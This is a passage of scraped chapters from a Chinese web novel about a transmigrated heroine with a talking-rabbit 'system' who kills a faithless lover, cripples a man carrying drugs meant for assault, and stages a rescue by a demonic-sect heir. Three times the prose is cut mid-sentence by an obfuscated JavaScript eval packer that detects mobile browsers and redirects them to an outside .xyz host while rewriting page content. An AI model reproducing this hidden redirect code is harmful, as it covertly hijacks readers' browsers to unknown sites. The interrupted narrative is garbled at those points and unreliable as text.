他的沉默好像让她明白了点什么,小姮娥没有再等他说话,只是有点难过地笑了一下,强作精神道:“没关系……其实,就算你回来了也不一定能见到我,说不定那个时候我已经回家了呢……” 萧随星也笑了一下:“嗯,那样也好。” 听他这样说,她有点生气又有点委屈,但还是强忍着不哭:“你走吧……我也要回去了,就不送你了。” “好。” 他静静地看着她,点了点头。 江水滚滚,小舟像一片落叶,顺着泛金的水流飘然远去,天边是飞鸟掠过留下的云痕。 小舟在水中起起伏伏,明明说了要走,可她却迟迟不肯离开,河岸边她的身影越来越小,越来越小……逐渐变成一个很小的黑点,直至彻底消失不见。 多日与她相处,他早已习惯了噬心蛊发作带来的剧痛,萧随星对疼痛的忍耐度本就远胜常人,即便是锥心之痛也能做到面不改色、谈笑自如,行动丝毫不受影响。 他并不把这种痛放在眼里。 可此刻,看着她的身影逐渐消失……不知为何,心脏处原本已经习惯的疼痛,突然变得难以忍受了起来。 …… 【啊啊啊啊啊啊你在干什么!攻略还没完成,你怎么把他放走了啊?!】小白兔崩溃得狂甩兔耳朵,【你的积分呢?你的任务呢?都不要了吗?!】 “急什么。”夏桃对它没出息的表现嗤之以鼻,她望着天边逐渐远去的小舟,微微笑了一下,“放心吧,走不了,他很快就会回来找我的。” 语气笃定得仿佛在说一个谶言。 而她刚好可以趁他离开这段时间,去解决一件事。 * 杜香兰身子还有些虚弱,因此离开医馆后,他们没有着急走出千山镇,而是找了家客栈,准备在此处落脚,先休息一晚再说。 千山镇毕竟是个小地方,小地方的客栈当然也不能和繁华之地相比。 没什么热气的菜肴、有破损的碗筷杯子、甚至桌上被浸湿的油垢……一切的一切都让詹绍元心烦意乱。 独自一人回到客房,詹绍元有些提不起精神。 一时的激情退去后,狼狈的私奔之路上,剩下的就只有深深的疲惫。 詹绍元想不明白,他堂堂飞鹤山庄三少爷,到底为什么要让自己落到现在这种境地? 就为了香兰么? 香兰当然是很出色的女子,可是……比她更出色的女子也不是没有。 他当初到底为什么会对杜香兰一见钟情? 想不起来了。 明明才过去了没多久,可詹绍元已经快忘记初见杜香兰时的惊艳了。 取而代之的,是一抹白色的倩影。 可偏偏就是因为杜香兰,哪怕这抹倩影离他如此之近,他也不能触碰她。 他突然有种如鲠在喉的感觉。 世上之事大概就是如此奇妙,詹绍元正站在客房的窗前痴痴想着她时,突然发现客栈外有一抹熟悉的身影走过,背影纤弱袅娜,正是他朝思暮想的那个人。 他一呆,一股难以言说的宿命感瞬间击中了他的心脏。 她怎么会出现在这里? 他正想着她,而她刚好就出现了,世上怎么会有如此巧合的事? 这不就是传说中的“命中注定”吗? 想到这里,詹绍元一时有些痴了,他忘了自己正在私奔途中,也忘了客栈里的杜香兰,他眼里只剩那抹倩影,于是从客房的窗户一跃而下,直追着那抹影子而去了。 他没有发现,在他追着夏桃而去的时候,有一个男人也偷偷跟在了他身后。 这个男人名叫吴鹏,是吴掌柜的侄子,在震北镖局当镖师。 吴鹏知道桂花玉簪被夺一事,他本想找回场子,可他的伯父却被那名黑衣少年吓破了胆,只说那少年是魔教中人,魔教不是好惹的,让他千万别再追究这件事。 吴鹏对此不以为然。 魔教都多少年没在江湖行动了,怎么会出现在千山镇这个小地方,况且不过是一块七星木牌,谁都能刻,怎么证明他就一定是魔教中人? 他原本打算给那个少年点教训瞧瞧,却在去益元堂的途中意外碰见了那个天仙似的绝色少女。 吴鹏这辈子还没遇见过长得这么美的女人,当即便神魂颠倒了起来,桂花玉簪也被他忘到了九霄云外,只想着一定要将那少女据为己有,好好疼爱一番。 可当时詹、杜二人还在益元堂,吴鹏虽然看不出萧随星的深浅,但看得出詹绍元内力深厚,的确是个高手,正面硬拼自己未必打得过他。 他只好暂且蛰伏起来。 他本想跟在詹、杜二人身后,确认他们彻底离开千山镇后再去找小美人,却没想到竟看到了这一幕。 这詹绍元不是和杜香兰是一对吗?怎么抛下情人去追那别人了? 吴鹏暗自嘀咕。 不管怎样,先跟上去看看。 就这样,吴鹏跟在詹绍元身后,詹绍元又追着夏桃而去,二人不知不觉便追到了一片枫林中。 月色惨白,在如血的枫叶上留下一片银霜。 枫林深处,夏桃停下了脚步,她沉默不语地望着天边的明月,似乎正在对月神伤,所以并没有注意到身后还跟了两个男人。 詹绍元一心只有她,同样没注意到自己身后还有个吴鹏。 见她衣着单薄,被风一吹,更显身段娇柔,詹绍元不禁心生爱怜,他解下披风,轻轻搭在了她肩上,柔声道:“夏姑娘,更深露重,千万别着凉了。” “詹公子?”见他出现,少女吃了一惊,但似乎又隐隐有些高兴,“你、你怎么会在这里?” “那你呢?你为什么出现在这里?” 詹绍元反问。 “我……”夏桃咬了咬唇,有些难为情,她低声道,“我也不知是怎么了……自你走后,心里就一直空落落的……本是想再看你一眼的,可不知不觉,就跟着你们到了客栈……詹公子,我这样做,你会觉得我烦吗?” 他本就被夏桃的美貌迷得心猿意马,对她肖想已久,此时听闻她似乎也对自己有意,詹绍元狂喜还来不及,怎么会嫌她烦? 他一颗心怦怦直跳,情不自禁道:“不!夏姑娘,我怎么会嫌你烦?离开医馆后,我……我也一直想着你,脑海中总是浮现出你的身影,想你一个弱女子独自守着医馆,心里很是放心不下……就连刚才身处客栈,我脑子里也全是你的身影。” 古人大多含蓄,这番话放在这种情境下和告白也没什么区别了。 夏桃听得一呆,似乎没想到能得到回应,霎时喜极而泣:“真的么?詹公子,你真这么放不下我?” “那是自然!”詹绍元急忙表衷心,“你是我见过最美好的女子,从见到你的第一面,我心里就全是你了……不怕你笑话,刚才我还在想,若是今生不能和你长厢厮守,于我而言,世上也没什么乐趣了……夏姑娘,你……你愿意和我在一起吗?” “我愿意!我当然愿意!”夏桃破涕为笑,随即又仿佛想起了什么似的,柳叶般的黛眉微微一蹙,她眼波盈盈地望着他,“可是詹公子,我们若是在一起了……杜姑娘又该怎么办呢?” 詹绍元一愣,他这才发现,如果不是夏桃提起,他刚才竟然完全没想过杜香兰。 他沉默半晌,轻声叹了口气:“这……我也不知道……说实话,相处的这些日子我才发现,我对香兰的感情实在浅薄……这其实不是爱,只是一时鬼迷心窍,香兰和我在一起,是不会幸福的……夏姑娘,你不用担心,这件事我会处理好的。” “怎么处理呢?”夏桃轻飘飘地说,“杜姑娘和你私奔一事闹得这么大,天下皆知。女孩家的名声何其重要,她先是和你私奔,又被你抛弃,如果就这样回家,旁人的闲言碎语都能击垮她,若是不能嫁给你,将来她要如何自处呢?” 詹绍元当然也想到了这个问题,只是似乎他也找不到解决的方案,又不想担这个责,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来萧随星的功夫的确到了独步天下的境界,哪怕她现在只能复刻出他百分之七十的功力,也已经不是詹绍元之辈能招架得了的了。 夏桃淡淡地望着地上了无生机的男人,突然觉得十分荒谬。 其实她给过詹绍元机会,如果他在她似是而非的勾引下坚守本心,如果他今晚看见了她的身影但不主动追出来,如果他刚才谈论起别的女子时不要那么薄情寡义……他都不一定会死。 她这样做,无非是想看看,在那个剧情线上害夏桃丢了性命的所谓“真爱”,到底值多少钱。 结果很明显,一文不值。 她就是因为这种经不起任何考验的东西,倒霉丧命的吗? 夏桃不由觉得十分讽刺,也十分好笑。 “绍……绍元哥哥?” 一道颤抖的声音突然出现,打破了枫林的静谧。 杜香兰苍白着脸,她看着躺在地上的詹绍元,不可置信地望着夏桃:“你……你做了什么?你杀了绍元哥哥?!” 因为客栈的床不舒服,杜香兰辗转反侧,一直没有睡着,发现詹绍元不见后,她也跟着追了出来,却没想到竟然看到了这样恐怖的一幕。 风声飒飒,枫叶如血。 惨白的月光下,一身白衣的夏姑娘看起来还是这么美若天仙,这么纤尘不染,可她就这样施施然杀了一个人,若无其事的模样落在杜香兰眼中,堪称鬼气森森,简直比聊斋里的画皮女鬼还要可怕。 夏桃复制了萧随星百分之七十的功力,早就听到了杜香兰的脚步声,见她出现她丝毫不觉意外。 她瞥了杜香兰一眼,点头微笑道:“嗯,是我杀了詹绍元,他现在应该已经死透了。” 听到詹绍元已死,悲痛瞬间压过了恐惧,杜香兰伏到他的尸首旁,一边抽泣一边质问:“为什么?!你为什么要杀绍元哥哥?!” 夏桃奇道:“你哭什么?这些天他心猿意马,心思早就不在你那里了,我不信你一点没有察觉。这种负心薄幸的男人,杀了就杀了,有什么值得为他哭的?” 见杜香兰还是哭泣不止,夏桃脸色瞬间冷了下来:“闭嘴,你再为这种男人哭一声,我连你一块儿杀。” 她嗓音又清又甜,但其中蕴含的杀意却让杜香兰打了个寒颤。 她强忍住眼泪,又悲又愤:“你……你到底为什么要这样做?我们、我们哪里得罪你了?” 夏桃叹了口气,忧愁道:“实不相瞒,杜姑娘,这也是我之前一直在思考的问题。但我发现这世道就是这么不讲道理——你有没有得罪过人,有没有做错过事,在决定杀你的人面前一点都不重要——因为他做事全凭心情,想杀你就杀你了,才不和你讲道理。” 她这番歪理邪说似乎自成体系,杜香兰一时不知如何辩驳,她颤抖着嗓音道:“你此前,在我们面前表现出来的模样……都是装的?” “是呀。” “你就不怕被发现?你就不怕我把这一切告诉别人?!” “你去说呀。”夏桃无辜地望着她,“詹绍元一死,这里就剩你我二人,我再把你杀了,死无对证,谁知道你们是怎么死的?” 她没有在开玩笑,她真的可能会这样做。 杜香兰想。 她突然发现,她好像从来没有真正认识过夏姑娘。 她浑身发冷。 “你、你……秦公子知道你是这样的人么?”杜香兰泪盈于睫,“秦公子知道你是这种杀人如麻的女魔头么?!” 夏桃突然笑了起来,笑声如风轻环佩,动人至极。 “秦公子?秦公子是谁呀?”她戏谑道,“哦,我知道了,你是说小星对吧?不过很可惜,你不太了解他。他不姓秦,而是姓萧,真名萧随星。他也不是山里的猎户,而是七星教的少主——就是你们俗称的那个魔教。一位魔教少主,你猜,他知不知道我做的事?” 杜香兰呆呆地望着她,不再说话,仿佛彻底失去了语言能力。 她现在才意识到,从那日走进医馆开始……她似乎就进入了一个恐怖故事。 一个所有恶鬼都披着漂亮人皮的恐怖故事。 “你放心,虽然你和詹绍元一样是个贱人,但你毕竟比他好一点,所以我不会杀你。”夏桃微笑,十分温柔地说,“出来这么久,你一定也想家了,滚吧,你现在就可以回红枫堡继续当你的二小姐了。” 杜香兰怔怔地望了她半晌,又怔怔地低下头,她很轻地瑟缩了一下:“夏姑娘,你有如此美貌,手段又如此厉害,无论想要什么,都可以轻松得到……何必、何必要这样行事呢?” 夏桃怅然地叹了口气。 “是啊,你说得对,我有如此美貌,又有如此手段,想要什么都可以轻松得到,何必要这样行事呢?……可我偏偏就是要这样行事。”夏桃拖长了尾音,充满恶意地冲她甜甜一笑,“因为我这个人啊——坏透了。” 11. 第十一章 杜香兰走了。 她没有带走詹绍元的尸首,也不敢提这个要求,在负心的情郎和自己的安危中,她到底还是选择了后者。 她一向不是个聪明人,但好在还不算太蠢,知道为了男人赔上自己的性命一点也不值得。 何况,就算拼尽全力,她也未必是夏桃的对手。 算了。 就当这场荒唐的私奔从未发生过吧。 就当一切都只是场血腥恐怖的梦。 梦醒了,她还是红枫堡的二小姐,没有遇到过詹绍元,也没有进过那家诡异的医馆。 望着杜香兰失魂落魄的身影,小白兔不满地拱了拱夏桃:【难道就这样放过她了?】 夏桃微笑:“这怎么能叫放过她呢?等她回去,好戏才刚刚开始呢。” 杜香兰和詹绍元私奔一事闹得天下皆知,如今她一人回去,却不见詹绍元的身影,飞鹤山庄一定会追问詹绍元的下落。 如果她闭口不言,选择撒谎,飞鹤山庄绝不会善罢甘休;可如果她实话实说,飞鹤山庄又未必会信,就算信了,天高海阔,他们又要去哪里找那位“夏姑娘”呢? 找不到罪魁祸首,飞鹤山庄的怒火最终还是只能冲着红枫堡去,这两家的私怨,恐怕会升级成死仇。 而作为当事人之一的杜香兰,可想而知,以后的日子绝对不会好过。 想到这里,夏桃只觉浑身一轻,灵魂深处那缕无辜惨死的怨气,似乎也悄然散去了。 她低头望着脚边的尸体,正思考是处理掉还是直接离开,突然听见了一道很轻的碎裂声。 像是不小心踩在枯叶上发出的声响。 夏桃一怔,循声望去,看见枫林深处漏出的那抹灰步,转而露出个似笑非笑的表情来:“差点忘了……这里还藏着只小老鼠呢。” 枫林里的“小老鼠”,自然就是尾随詹绍元而来的吴鹏了。 吴鹏比杜香兰来得还要早一些,可以说是完完整整地看完了全场戏,他震惊难言,怎么也没想到自己心中仙女般纯洁温柔的小美人,真面目竟是如此凶狠毒辣,杀起人来毫不手软。 见她发现了自己,吴鹏呼吸一滞,本能地生出了些许恐惧,但转念一想,又觉得自己的恐惧实在很没必要。 这小美人的确手段毒辣,但她看起来最多不过十六七岁,年纪这么小,武功再高又能高到哪里去,能杀了詹绍元多半是仗着对方没防备,这才一击得手。 而他走南闯北这么些年,早就练就了一番铜皮铁骨的真功夫,真要打起来,她这点小聪明可不够他看的。 她是毒妇不假,可他吴鹏也不是什么善男信女。 如今他目睹她杀了人,对方还是飞鹤山庄的三少爷,如果将此事宣扬出去,她一定会惹上个大麻烦,这对他来说是天赐的把柄,倒不如借此机会好好拿捏她一下—— 心念一转,吴鹏重新恢复了信心,他踏出枫林,含笑道:“碰巧路过此地,没想到竟看了一出好戏。恕在下直言,姑娘似乎……惹上了一些‘麻烦’?啊,请别误会,在下没有别的意思,只是姑娘弱女子一位,怎好沾染血腥?姑娘若是不嫌弃,在下愿意替姑娘处理掉这个‘麻烦’。” 他的目光落在詹绍元染血的尸首上,显然若有所指。 白衣少女冷冷看了他几秒,随即笑吟吟道:“你是谁呀?我好像没有见过你。” 她本就生得美若天仙,不言不笑的时候气质清冷孤傲,仿佛月宫仙子般高不可攀,可一旦笑起来,又有如浓桃艳李,唇角一抿,梨涡便让人先醉了几分。 哪怕明知她心性狠毒,被她这样盈盈一望,吴鹏还是觉得骨头瞬间酥麻了起来。 他飘飘然拱手道:“在下姓吴名鹏,乃震北镖局镖头,不敢自称风流侠少,但混迹江湖多年,在泉州这一带还是略有点名气……敢问姑娘芳名?” 白衣少女却根本不回他的话,只是歪了歪脑袋,似乎是在费力回想什么,半晌后,才开口道:“吴鹏……?哪里来的无名小卒,没听说过。” 她语气淡淡,但内容实在说不上友好,反而透露出一丝轻蔑,这让吴鹏的笑意直接僵在了脸上。 “行啦,管你是从哪儿来的癞蛤蟆,我一点都不关心。”白衣少女懒懒道,“好狗不挡道,滚吧。” 她这番话可以说是不客气到了极点,吴鹏仗着震北镖局作威作福了这么多年,何时受过这种气? 他立时就想发怒,但一见她花容月貌,就算骂人也那么楚楚动人,他色心一起,怒意顿时又软了三分。 他冷笑道:“我是从哪儿来的癞蛤蟆一点也不重要,但小美人你怕是惹上了一桩大麻烦。你可知你杀的这个人是谁?飞鹤山庄的三少爷。飞鹤山庄在江湖上雄踞一方,庄内高手如云,可不是你这种小美人能得罪得起的。你说,若是他们知晓你杀了他家的三少爷,飞鹤山庄可会放过你?” “你这是在威胁我?” “恰恰相反,我这是在帮你。”吴鹏走近她,贪婪地望着那张芙蓉雪面,“小美人,你生得如此美貌,可见生来就是要享福的,何苦去当那低贱的医女,和毒药病魔为伍?只要你愿意跟了我,不要说只是处理一具尸体了,你就是要天上的星星,我吴鹏也能帮你摘下来。” 白衣少女冷眼看他,面上却仍旧笑盈盈:“可你帮了我,难道就不怕得罪飞鹤山庄?” 吴鹏含情脉脉地望着她:“这里就只你我二人,把这姓詹的用火一烧,等他化成灰,谁又知道他是怎么死的?这会成为只有我们两人知道的秘密。” “你说得好像有点道理……”白衣少女点头认同,随即又做作地噘了噘嘴,娇气道,“可是,你长得太丑啦,我这么美,才不要和你这种丑人共享秘密呢。” 他废了好一番口舌,见她如此油盐不进,把他当猴一般耍,吴鹏眉宇间闪过一丝阴鸷,当即就决定用强的,冷笑道:“敬酒不吃吃罚酒!小美人,既然你这么不识抬举,那就别怪我不客气了!” 白衣少女的脸色也瞬间冷了下来:“没人让你客气!” 吴鹏不再犹豫,一把拔出随身携带的大刀,当即便对着她砍了下去! 夏桃此前对功夫一窍不通,但她复刻的是萧随星的武功,她对武学的理解即是萧随星对武学的理解。 这在常人眼中无比凶狠的一招落在夏桃眼里,突然成了电影中的慢镜头,只觉得他下盘不稳、动作不够利落、腕力又太弱,简直浑身都是破绽。 萧随星武学天赋极高,学什么都快,最初走的是海纳百川博采众长的路子,精通的功法秘籍洋洋洒洒不计其数。 后来大概是会的招数实在太多,他逐渐发现无论什么功法,学到最后都是万变不离其宗,内力深厚到一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792663|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度,招式上的千变万化不再重要,一剑破万法才是武学的至高境界。 而他这人又不喜欢走寻常路,比起稳妥不出错的招数,他更喜欢见招拆招,思考最快最巧的破题方法。 就像此时,见吴鹏劈头一刀砍来,夏桃知道最稳妥的做法是撤步向后,先躲过这一刀,再趁他重心偏移扫他下盘,必然可以让他摔个趔趄。 她知道这是不会出错的应对方法,可有个少年突然在她耳畔笑道:“何必这么麻烦?他这一刀过来,你先点他灵道穴,卸掉他武器,再趁势握住他的手腕,从祁门穴沿心包经输送真气。此招四两拨千斤,只需一点内力,就足以震碎他的心脉,一击毙命。” 他是这样说的,她也是这样做的。 于是,吴鹏只能看见原本一动不动愣在原地,仿佛吓傻了的少女突然抬眼向他望来——这一眼如月辉洒下,铺天盖地地向他袭来,几乎要将他溺死在这抹月色之下。 他被这种迫人的美所摄,有一瞬间的恍惚,下一秒,他只觉腕上一麻,长刀顺势脱手飞出! 吴鹏心中一惊,还未等他反应过来,手腕突然被她握住,他还没能感受一下美人的“纤纤玉指”,祁门穴突然升起一丝热意。 这股热意沿着经脉直冲而上,仿佛一根小针顺着血管刺入心脏,一阵剧痛自胸膛处爆裂开来,吴鹏“哇”地吐出一大口血来,当即便跌倒在地! 夏桃若有所思地望着自己的手。 这是她第一次用出这招,到底不是她自己练的功夫,使用起来有些生疏,最后只震断了吴鹏的经脉,没有震碎他的心脏。 习武之人经脉破裂,将来就算能恢复,在武道上也绝没有继续精进的可能,这人算是废了。 一点真气就能达到这种效果,这四两拨千斤的招式果然十分好用。 夏桃没有随意杀人的癖好,废了吴鹏也就足够了,她本想直接让他滚,还没开口,却突然瞥见他眼里闪过一阵狠色。 下一秒,吴鹏袖口一翻,两枚药丸直接冲她飞来! 夏桃眼疾手快接下一枚药丸,但另一枚药丸还没触碰到她,就化作一团粉雾炸开了。 她看了看手里的淡青色药丸。 “这是什么东西?” 她在心里问系统。 【你手上那枚青色的是失魂丹,服用之后会在短时间进入失智状态,具体表现为任人摆布。】小白兔说,【刚才炸开的那枚粉色药丸是迷情丹,通常是采花贼用在受害人身上的,作用嘛……顾名思义,应该也不用我过多介绍了。】 失魂丹和迷情丹,这俩玩意儿一组合,吴鹏打得什么肮脏主意根本猜都不用猜。 他随身携带这种东西,刚才还对她用得如此熟练,此前恐怕没少使用,若站在这里的不是她,而是其他手无缚鸡之力的弱女子,岂不是就要被他得逞? 想到这里,夏桃心中骤然升起一股戾气,原本三分的杀意瞬间变成了九分。 她本想直接动手杀了吴鹏,可转念一想,心里又冒出个更好的主意——吴鹏当然是要死的,但就这样死,岂不是太浪费了? 道具都替她准备好了,这出戏没有不演的道理。 思及此处,夏桃微微一笑,她蹲下身去,强行把失魂丹喂进了吴鹏嘴里,笑吟吟地说:“你这条贱命,再发挥一下余热,陪我演场英雄救美的戏吧。” 12. 第十二章 静夜沉沉,浮光霭霭,几颗星子寥落散碎于江河。 轻舟随水而逝,夜色迷蒙,只有小楫里的一盏灯火隐隐约约透出些光亮来。 萧随星姿态随意地靠坐在小舟上,脸上没有什么表情,他不笑的时候,那张俊美如玉的脸就容易显得冷漠且不近人情。 但此刻,舟中灯火的光映照在他面容上,黄澄澄的一片,却让他秾丽的眉眼在冷峻中透出一丝淡淡的温和。 他望着面前的漆器盒。 盒内放着好几枚莹润雪白的药丸,没有药材的苦味,反而还散发着淡淡的清香,不似凡品。 或许是仙龄太小的缘故,小仙娥法力不高,会的仙术也不多,唯一比较擅长的就是治病救人,这些药丸,大概也是她用法术做的。 除了药丸外,漆器盒里还被她偷偷塞了好多样式各异的糕点和果干,把整个盒子装得满满当当的,像是生怕他路上会被饿到似的。 这让萧随星想起了那只被她喂得胖嘟嘟的小兔子。 喜欢谁就要喂谁吃的吗? 真是孩子气的做法。 他很轻地扯了扯嘴角,一个很小的笑的弧度。 他觉得她有点幼稚,又觉得她有点可爱。 但,也就到这里了。 他很清楚,自己既不会吃这些药丸,也不会回去找她。 萧随星神色平静地想。 他刚准备关上盒子,却突然摸到了什么,这个漆器盒似乎不止一层,他不着痕迹地顿了一下,手指扣住盒底,微微用力—— 漆器盒一分为二。 一个熟悉的东西掉了出来。 掉出来的东西,是—— 一顶金缮玉冠。 是他还当铺老板的那顶金缮玉冠。 萧随星看着突然出现在他面前的玉冠,有一瞬间的怔忡。 这个玉冠在这种时候、出现在这里,是谁放进这个盒子里的根本想都不用想。 他一时有些心情复杂。 萧随星自幼在魔教长大,身负剧毒却练就了这样一番冠绝天下的武功,为此吃过的苦受过的罪哪里是常人能想象得到的。 他虽然性格散漫,但冷静才是他行事的真正准则,他也没有冲动任性的权利,魔教少主的身份难道是好当的?如果不够冷静理智,他早就不知道死过多少次了。 面对小姮娥也是一样,他清楚地知道她有些喜欢他,也清楚地知道自己有些心动,可是喜欢和心动都不是什么大不了的东西……至少抵不过他渴望复仇的夙愿。 在这个夙愿达成之前,所有的一切都要为他的目标让路——包括她也一样。 所以哪怕明知道她很舍不得他、哪怕明知道她很想和他一起走……他还是拒绝了她。 他没有明说,但那的确是无声的拒绝。 萧随星并不觉得自己亏欠了小姮娥什么,她救了他、收留了他一段时间;他替她赎回簪子、阻止她跳进火坑——他们之间已经两清,就算之后她又被人骗了或者怎么样,那也是她的选择,已经不关他什么事了。 本就是萍水相逢泛泛之交,他不认为自己对她负有什么责任。 就像他既不打算吃她做的药丸,也不打算再回去看她。 两清的人,本来就没必要继续产生交集。 可是为什么,偏偏要在这种时候,让他发现这顶玉冠? 为什么偏偏要让他发现这顶玉冠? 他一直觉得她就像她养的那只小玉兔,笨笨的,什么都不懂,什么都不知道,只会一味捣药救人。 可原来,她什么都知道。 她知道他用玉冠换了她的簪子回来,也知道他这一去再也不会回来。 她只是懂事地不说。 她只是懂事地什么都不说。 她是什么时候发现的?又是怎么把它赎回来的? 她会不会又被当铺老板糊弄了?会不会又当掉了自己的东西? 其实他明明知道……她那么天真单纯,如果孤身一人没有旁人保护,以她的性格,一定会被骗得很惨。 他明明知道。 却还是把她丢下了。 江上的风又大了起来,凉意透骨,舟中灯火隐隐绰绰,映照在他那张没有表情的脸上,让他整个人看起来像是一尊寂静的塑像。 时间静静地流逝,萧随星一动不动地凝视着手中的玉冠。 像是过了很久,又仿佛只过了一会儿。 他霍然起身,小楫夜泊,轻点堤岸,他整个人如闪电般劈开沉沉夜色,朝着来时的方向而去。 …… 震北镖局威慑一方,明面上一直做的是正经生意,但私下里也干过不少不可言说的勾当。 吴鹏为其卖命,混到镖头的位置,震北镖局自然不会亏待他,同时他也没少仗着职务之便为自己敛财,所以多年下来也积累了不少的财富,在泉州拥有自己的豪宅。 今夜无月,星光黯淡,吴宅门前却仍有仆役在值守,明明已至深夜,两个小厮面上却没什么倦色,反而兴致勃勃地彼此谈论着什么。 因为就在一刻钟前,已许久不曾回吴宅的吴公子,突然带回来了一位白衣少女。 她戴着帷幔,看不清面容,但凭身段,就足以让人魂牵梦萦。 只是那少女似乎不是自愿来的,而是被绑来的。 这种欺男霸女的行为,吴鹏平日里也没少做,下人们早已见怪不怪,没人敢多说什么。 “……就是可惜,没能见到那女子的脸,我看她露在外面的那双手白得哟,简直像是雪一样……” “绑也要将人绑来,这女子定是个绝色美人……不知道公子玩腻这美人后,会不会像以前一样把美人赏给咱们玩玩儿……” 紧接着就是一阵下流的笑声。 丫鬟听得心生厌恶,正想快步离开前院,门口武夫们的谈话声就戛然而止,紧接着就是重物倒地的声音。 几乎只是一瞬间,整个院子变得如死一般地寂静。 丫鬟突然有种毛骨悚然的感觉。 那是对危险的直觉。 她停下了脚步。 月光透过云层照进了院落里,她望着不知何时出现在她面前的人影,冷汗瞬间浸湿了后背。 夜色沉沉,她看不太清那人影的脸,只能凭声音判断应该是个少年,他的声音也像这夜色一样冷:“吴鹏带回来的那位白衣姑娘呢?” 丫鬟本就可惜那少女恐怕会被主人糟蹋,只是她身为下人也说不上什么话,只能眼不见为净,假装什么都没发生。 如今见有人来救那位姑娘了,功夫似乎还不弱,潜入吴宅还没惊动任何人,她有点害怕又有点庆幸地说:“在……在东厢房,公子请随我来。” 可黑衣少年根本不等她带路,得知方向后就像疾风一样穿过抄手游廊直奔东厢房,门已落锁,他也不去找钥匙,直接踹开房门闯了进去。 这、这怎么能直接闯进去呢? 这种行事作风让丫鬟又惊又怕,她匆匆忙忙地跟在后面,可等她赶到的时候,只来得及看见房内一道寒光闪过—— 鲜红的血,如泉水般喷溅到了绣花屏风上。 那是吴鹏的血。 而黑衣少年的佩剑还稳稳地挂在他的腰间,滴血未沾,纹丝不动,就仿佛从未出鞘过。 没人看清他是怎么出手的。 他的剑快到简直不像是人间该有的速度。 如果这是武林盛会,有幸看见这一剑的高手大概都会被震得瞠目结舌,可惜这里无人能欣赏这一剑的精妙绝伦,就连剑主人自己也没那份心思。 上岸后萧随星沿着江流一路往回走,他轻功了得,很快就到了医馆,进入后却发现医馆里空无一人,小姮娥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815796|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不在其中。 他的心微微一沉。 这么晚了,她不在医馆,又能去哪儿? 他想到那顶金缮玉冠,又想到吴掌柜和他那个在震北镖局做事的侄子,一路追到吴宅,果然在这里找到了被掳走的小姮娥和对她欲行不轨的吴鹏。 萧随星心里的杀意盛到了极点,利落地了结吴鹏后,立刻去查看小姮娥的情况。 她卧在床榻上瑟瑟发抖,双手被绳结反绑住,嘴里还被塞了一块布,她鬓发散乱,眼眶通红,因为一直在挣扎,所以裙摆也有些凌乱,好在衣裳没有被解开过的痕迹,他来得还算及时。 萧随星略微松了口气,立刻帮她松绑,刚拿出堵住她嘴的布,小姮娥就“哇”地一声哭了出来,她扑进他怀里紧紧抱住他:“真的是你?真的是你!我就知道你会来救我的,我就知道小星你一定会来救我的……” 她像受了委屈的小孩子一样呜呜大哭,像是要把所有的委屈和害怕全都发泄出来。 “你、你都不知道我有多害怕……”她窝在他怀里抽抽噎噎地掉眼泪,“我差点以为、差点以为自己再也见不到你了……那个男人好像要把我吃掉一样……我明明都、明明都说了我不好吃了呜呜呜……” 小仙娥总是笑眯眯的,向来喜欢把眼睛笑成小月牙,不管和谁在一起都温温柔柔高高兴兴的,她什么时候这样哭过? 如果他再晚来几分钟—— 萧随星几乎不敢往下想。 可他没有安慰小姮娥,只是握住她的肩,拉开两人之间的距离,低头直视她:“不是想去闯荡江湖吗?现在知道害怕了?我有没有说过让你早点回家?” 他对她总是温柔的、平静的、笑吟吟的,还从来没有用过这么冷漠严厉的语气和她说话。 小姮娥似乎也被他吓到了,她先是点了点头,接着又摇了摇头,眼泪在眼眶里不停打转,然后一颗颗掉下来,她憋不住哭了起来:“你不要这样说我嘛!我刚才被绑住了,手腕现在都还好痛好痛……” 她哭得眼眶红红的,抬起手想给他看自己的手腕,她实在太信任太依赖他了,虽然被说了,但第一反应还是向他撒娇。 萧随星垂下眼帘,视线落在她的手腕上,那里刚被绳子绑过,现在还有一道红红的勒痕。 她的肌肤本就白腻如雪,稍微穿点有颜色的衣裳都会很显眼,更不要说现在这样一道明显的红痕了。 不知道为什么,心脏似乎很轻地抽动了一下。 “疼吗?” 他抬眼看她。 “嗯嗯!”她连连点点头,但又像是怕他担心,于是又连忙摇了摇头,“没有没有,其实只有一点点疼,也没有很疼……反正,只要你来救我就好了,小星……” 她这样,他还能说什么呢? 萧随星不着痕迹地叹了口气,垂着眼睫并不看她,心里想的却是怎么劝她回月宫会比较好。 她这样的存在,没有一丝一毫适应江湖的可能。 她根本就不该出现在这里。 他陷在自己的思绪中,并没有注意到她靠他越来越近,等他回过神来的时候,小姮娥整个人都快软倒在他怀里了。 萧随星有一瞬间的诧异,他立刻扶住她的腰,阻止她跌倒,他拧眉望着她:“你怎么了?” 